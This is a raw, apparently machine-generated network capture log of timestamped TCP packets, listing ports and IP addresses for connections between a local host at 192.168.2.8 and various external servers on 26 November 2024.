Nov 26, 2024 08:03:25.813955069 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.814032078 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.814040899 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.819453955 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.819526911 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.819535017 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.829906940 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.829983950 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.829991102 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.831818104 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.831881046 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.831887960 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.835973978 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.836046934 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.836054087 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.841326952 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.841372013 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.841382027 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.846673012 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.846735001 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.846748114 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.855566978 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.855629921 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.855639935 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.857606888 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.857664108 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.857671022 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.863099098 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.863153934 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.863166094 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.868431091 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.868475914 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.868526936 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.868536949 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.868591070 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.868704081 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:25.868746996 CET	443	49710	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:25.868827105 CET	49710	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:26.601567030 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:26.601622105 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:26.601728916 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:26.605396032 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:26.605407953 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:27.147095919 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:27.147139072 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:27.147265911 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:27.149044037 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:27.149053097 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:27.222955942 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.267332077 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788356066 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788383007 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788389921 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788399935 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788420916 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788480997 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.788558960 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.788603067 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.788654089 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.807636976 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.807715893 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.807724953 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.807737112 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:27.807784081 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:27.846581936 CET	49704	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:27.846900940 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:27.967505932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:27.967662096 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:27.967753887 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:27.967955112 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:28.090636969 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:28.339904070 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:28.340254068 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:28.340276957 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:28.341209888 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:28.341270924 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:28.341795921 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:28.341872931 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:28.382431984 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:28.382443905 CET	443	49722	142.250.181.100	192.168.2.8
Nov 26, 2024 08:03:28.429306984 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:28.583188057 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:28.583260059 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:28.590426922 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:28.590454102 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:28.590686083 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:28.631711006 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:28.674943924 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:28.719326973 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.120434046 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.120503902 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.120579004 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:29.414913893 CET	49723	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:29.414937973 CET	443	49723	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.454387903 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:29.454396009 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:29.454478025 CET	49714	443	192.168.2.8	20.109.210.53
Nov 26, 2024 08:03:29.454483032 CET	443	49714	20.109.210.53	192.168.2.8
Nov 26, 2024 08:03:29.587896109 CET	49729	443	192.168.2.8	172.217.17.78
Nov 26, 2024 08:03:29.587934971 CET	443	49729	172.217.17.78	192.168.2.8
Nov 26, 2024 08:03:29.587987900 CET	49729	443	192.168.2.8	172.217.17.78
Nov 26, 2024 08:03:29.588207006 CET	49729	443	192.168.2.8	172.217.17.78
Nov 26, 2024 08:03:29.588217020 CET	443	49729	172.217.17.78	192.168.2.8
Nov 26, 2024 08:03:29.621742010 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:29.621779919 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.621845007 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:29.622221947 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:29.622235060 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:29.867718935 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:29.867820978 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:29.976548910 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:29.992058992 CET	49729	443	192.168.2.8	172.217.17.78
Nov 26, 2024 08:03:29.992103100 CET	49722	443	192.168.2.8	142.250.181.100
Nov 26, 2024 08:03:30.096549034 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:30.923301935 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:30.924127102 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:31.105005026 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.105087042 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.107676029 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.107687950 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.107911110 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.111263990 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.151338100 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.649616003 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.649701118 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.649900913 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.692907095 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.692933083 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:31.692945957 CET	49730	443	192.168.2.8	69.192.160.109
Nov 26, 2024 08:03:31.692951918 CET	443	49730	69.192.160.109	192.168.2.8
Nov 26, 2024 08:03:34.193068027 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.193109035 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:34.193218946 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.193284035 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.193339109 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:34.193487883 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.251199007 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.251218081 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:34.251416922 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:34.251437902 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:34.405909061 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:34.405950069 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:34.406084061 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:34.406409979 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:34.406424999 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:35.806406021 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.816137075 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.816157103 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.816557884 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.816698074 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.817178011 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.817281008 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.819948912 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.820008993 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.820168972 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.820178032 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.924799919 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:35.924873114 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:35.951597929 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.955311060 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.955326080 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.955647945 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.955707073 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.955785990 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.956192970 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:35.956234932 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:35.956305981 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.956310987 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:35.956378937 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.956531048 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.956581116 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:35.956660032 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:35.957658052 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:35.957683086 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:35.999334097 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.151659966 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.151669025 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.251840115 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.280318022 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.280607939 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.280618906 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.281641006 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.281717062 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.283291101 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.283361912 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.283472061 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.283478975 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.335530996 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.335609913 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.335762978 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.345190048 CET	49733	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.345211029 CET	443	49733	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.354399920 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.421690941 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.421762943 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.422091007 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.424236059 CET	49734	443	192.168.2.8	13.107.9.158
Nov 26, 2024 08:03:36.424247980 CET	443	49734	13.107.9.158	192.168.2.8
Nov 26, 2024 08:03:36.800086975 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.800152063 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.800302982 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.902390003 CET	49737	443	192.168.2.8	94.245.104.56
Nov 26, 2024 08:03:36.902396917 CET	443	49737	94.245.104.56	192.168.2.8
Nov 26, 2024 08:03:36.910664082 CET	49727	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:36.911032915 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:37.030733109 CET	80	49727	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.030947924 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.031071901 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:37.263179064 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:37.263231993 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:37.383294106 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.383301973 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.383358955 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.383363962 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:37.426218987 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:37.426270962 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:37.426333904 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:37.426654100 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:37.426666021 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:37.820292950 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:37.820363998 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:37.880342960 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:37.880381107 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:37.880696058 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:37.882102013 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:37.882158041 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:37.882217884 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.303189993 CET	49750	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.303236008 CET	443	49750	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:38.303297997 CET	49750	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.304955006 CET	49750	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.304966927 CET	443	49750	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:38.306293964 CET	49751	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.306391954 CET	443	49751	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:38.306554079 CET	49751	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.306977034 CET	49751	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:38.307015896 CET	443	49751	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:38.314450979 CET	49752	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:38.314495087 CET	443	49752	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:38.314559937 CET	49752	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:38.315222979 CET	49752	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:38.315247059 CET	443	49752	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:38.662899971 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.662925005 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.662974119 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.662992001 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.663001060 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.663017988 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.663039923 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.666286945 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.666307926 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.666323900 CET	49739	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.666330099 CET	443	49739	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.844300032 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.844333887 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.844460011 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.846856117 CET	49756	443	192.168.2.8	40.126.53.17
Nov 26, 2024 08:03:38.846873999 CET	443	49756	40.126.53.17	192.168.2.8
Nov 26, 2024 08:03:38.955570936 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:38.955641031 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:39.079341888 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.079402924 CET	443	49757	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.079476118 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.079700947 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.079751968 CET	443	49758	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.079809904 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.080056906 CET	49759	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.080091953 CET	443	49759	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.080152988 CET	49759	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.080267906 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.080282927 CET	443	49757	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.080399036 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.080413103 CET	443	49758	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.080538988 CET	49759	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.080554962 CET	443	49759	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.356952906 CET	49747	80	192.168.2.8	185.215.113.206
Nov 26, 2024 08:03:39.374008894 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.374274969 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.374291897 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.375113964 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.375133038 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.375201941 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.375209093 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.375250101 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.376184940 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.377386093 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.377526999 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.378490925 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.378498077 CET	443	49748	142.250.181.97	192.168.2.8
Nov 26, 2024 08:03:39.428730965 CET	49750	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.428913116 CET	49758	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.429841995 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.429898024 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.429966927 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.430332899 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.430361986 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.430412054 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.431324005 CET	49751	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.431607962 CET	49759	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.432843924 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.432888031 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.433120966 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.433384895 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.433399916 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.433480024 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.434916019 CET	49757	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.435067892 CET	49752	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.435329914 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.435342073 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.435542107 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.435638905 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.435647964 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.435702085 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.436604023 CET	49770	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.436616898 CET	443	49770	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.436882973 CET	49769	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.436901093 CET	443	49769	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.437591076 CET	49765	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.437618017 CET	443	49765	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.437712908 CET	49764	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.437728882 CET	443	49764	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.438046932 CET	49762	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.438057899 CET	443	49762	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.438168049 CET	49761	443	192.168.2.8	172.64.41.3
Nov 26, 2024 08:03:39.438189030 CET	443	49761	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.451880932 CET	49748	443	192.168.2.8	142.250.181.97
Nov 26, 2024 08:03:39.471339941 CET	443	49758	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.471353054 CET	443	49750	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.475342035 CET	443	49752	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.475343943 CET	443	49751	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.475366116 CET	443	49759	172.64.41.3	192.168.2.8
Nov 26, 2024 08:03:39.477305889 CET	80	49747	185.215.113.206	192.168.2.8
Nov 26, 2024 08:03:39.479324102 CET	443	49757	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.528280973 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:39.528295994 CET	443	49776	18.165.220.106	192.168.2.8
Nov 26, 2024 08:03:39.528350115 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:39.528420925 CET	443	49752	162.159.61.3	192.168.2.8
Nov 26, 2024 08:03:39.528614998 CET	49752	443	192.168.2.8	162.159.61.3
Nov 26, 2024 08:03:39.528850079 CET	49776	443	192.168.2.8	18.165.220.106
Nov 26, 2024 08:03:39.528860092 CET	443	49776	18.165.220.106	192.168.2.8
